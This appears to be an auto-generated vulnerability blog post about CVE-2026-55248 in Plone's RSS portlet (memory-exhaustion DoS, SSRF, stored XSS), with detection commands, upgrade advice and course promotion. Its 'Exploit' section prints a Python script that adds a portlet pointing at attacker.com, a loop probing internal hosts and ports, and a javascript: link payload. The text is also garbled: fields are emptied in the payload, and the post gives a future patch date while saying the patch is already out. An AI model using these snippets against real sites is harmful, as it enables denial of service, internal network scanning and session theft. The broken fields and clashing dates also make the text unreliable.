Listen to this Post
The vulnerability identified as CVE-2026-55248 resides in the RSS portlet functionality of plone.app.portlets, a core package that provides portlets and a Plone-specific user interface for plone.portlets. This issue affects all versions prior to 5.0.8, 6.0.4, and 7.0.2. An authenticated member with the permission to add an RSS portlet can exploit this flaw by setting the feed URL to point to an excessively large response. When the server attempts to retrieve and parse this feed, the file `src/plone/app/portlets/portlets/rss.py` downloads and retains the massive data in memory, leading to uncontrolled resource consumption and a denial of service (DoS).
Beyond the DoS, the RSS URL handling logic is not sufficiently restrictive. It accepts internal hosts, IP addresses, single-word domains, and explicit ports. This allows an attacker to perform Server-Side Request Forgery (SSRF) attacks, effectively using the Plone server as a proxy to probe internal network services and identify open ports. The attacker can scan the internal infrastructure, potentially discovering and accessing sensitive internal systems that are not directly exposed to the internet.
Furthermore, a malicious RSS feed can contain items with a JavaScript URL in the link field. The vulnerable code in `RSSFeed._buildItemDict` retains this URL without proper sanitization. When a victim user clicks on such a link, the JavaScript code executes in their browser context, leading to stored Cross-Site Scripting (XSS). This can result in session hijacking, credential theft, or other client-side attacks. The affected logic spans multiple functions including _rss_feed_url_validator, _normal_url_validator, RSSFeed._retrieveFeed, and the `FEED_DATA` in-memory cache. The issue has been patched in `plone.app.portlets` versions 5.0.8, 6.0.4, and 7.0.2.
DailyCVE Form:
Platform: Plone
Version: <5.0.8, 6.0.0-6.0.3, 7.0.0-7.0.1
Vulnerability: DoS, SSRF, Stored XSS
Severity: Critical (9.1 CVSS)
date: 2026-08-28
Prediction: Patch expected 2026-06-23
What Undercode Say:
Analytics and forensic commands for verifying CVE-2026-55248:
Check installed version of plone.app.portlets pip show plone.app.portlets | grep Version Search for vulnerable versions in environment pip list | grep plone.app.portlets Monitor memory usage during RSS feed retrieval top -p $(pgrep -f "instance") Check for suspicious RSS portlet additions in Zope database grep -r "RSSFeed" /path/to/plone/var/filestorage/ Audit URL validator logic in source grep -n "_rss_feed_url_validator" /path/to/plone.app.portlets/portlets/rss.py Check for internal IP probes in server logs grep -E "10.[0-9]+.[0-9]+.[0-9]+|172.(1[6-9]|2[0-9]|3[0-1]).[0-9]+.[0-9]+|192.168.[0-9]+.[0-9]+" /path/to/plone/logs/instance.log Verify fix applied by checking for strict URL validation python -c "from plone.app.portlets.portlets import rss; print(hasattr(rss, '_rss_feed_url_validator'))"
Exploit: (Educational Purposes!)
The following Python snippet demonstrates how an attacker might test for the DoS condition:
import requests
Target Plone site with authenticated session
session = requests.Session()
session.auth = ('username', 'password')
URL of a very large file to cause memory exhaustion
large_feed_url = "http://attacker.com/huge_file.xml"
Payload to add RSS portlet with malicious feed URL
payload = {
"feed_url": large_feed_url,
"": "Malicious RSS",
"count": 100
}
POST request to add RSS portlet (endpoint varies by Plone version)
response = session.post(
"https://target.plone.com/@@manage-add-portlet/RSS",
data=payload
)
Monitor server for memory exhaustion and DoS
For SSRF probing:
Test for internal network scanning
internal_hosts = ["http://127.0.0.1:8080", "http://192.168.1.1:22", "http://internal.service:443"]
for host in internal_hosts:
payload["feed_url"] = host
response = session.post("https://target.plone.com/@@manage-add-portlet/RSS", data=payload)
Analyze response time/errors to infer open ports
For stored XSS:
<!-- Malicious RSS feed with JavaScript URL -->
<rss version="2.0">
<channel>
<item>
<>Click me</>
<link>javascript:alert('XSS')</link>
</item>
</channel>
</rss>
Protection:
Immediate remediation requires upgrading `plone.app.portlets` to the patched versions:
– Plone 6.2: upgrade to `plone.app.portlets==7.0.2`
– Plone 6.1: upgrade to `plone.app.portlets==6.0.4`
– Plone 6.0: upgrade to `plone.app.portlets==5.0.8`
If upgrading is not immediately possible:
- Restrict permissions: Remove the `plone.app.portlets.ManageOwnPortlets` permission from untrusted roles. Limit “Manage portlets” to trusted administrators (Manager and Site Administrator roles).
- Unregister the RSS portlet: If the RSS portlet is not needed, unregister it by editing a `portlets.xml` file in your own code to prevent it from being added.
The patch implements stricter validation by refusing internal IP addresses, single-word domains, and explicit port numbers to prevent SSRF abuse. Additionally, it rejects downloading excessively large RSS feeds to prevent DoS attacks.
Impact:
Successful exploitation of CVE-2026-55248 can lead to:
- Denial of Service: Server memory exhaustion and service unavailability, potentially taking the entire Plone site offline.
- Server-Side Request Forgery (SSRF): Internal network reconnaissance, port scanning, and unauthorized access to internal services and sensitive information.
- Stored Cross-Site Scripting (XSS): Execution of malicious JavaScript in victims’ browsers, leading to session hijacking, credential theft, and other client-side attacks.
The vulnerability is rated Critical with a CVSS score of 9.1, reflecting the high potential for widespread impact across confidentiality, integrity, and availability. All Plone deployments using vulnerable versions of `plone.app.portlets` are at risk, making immediate patching essential.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
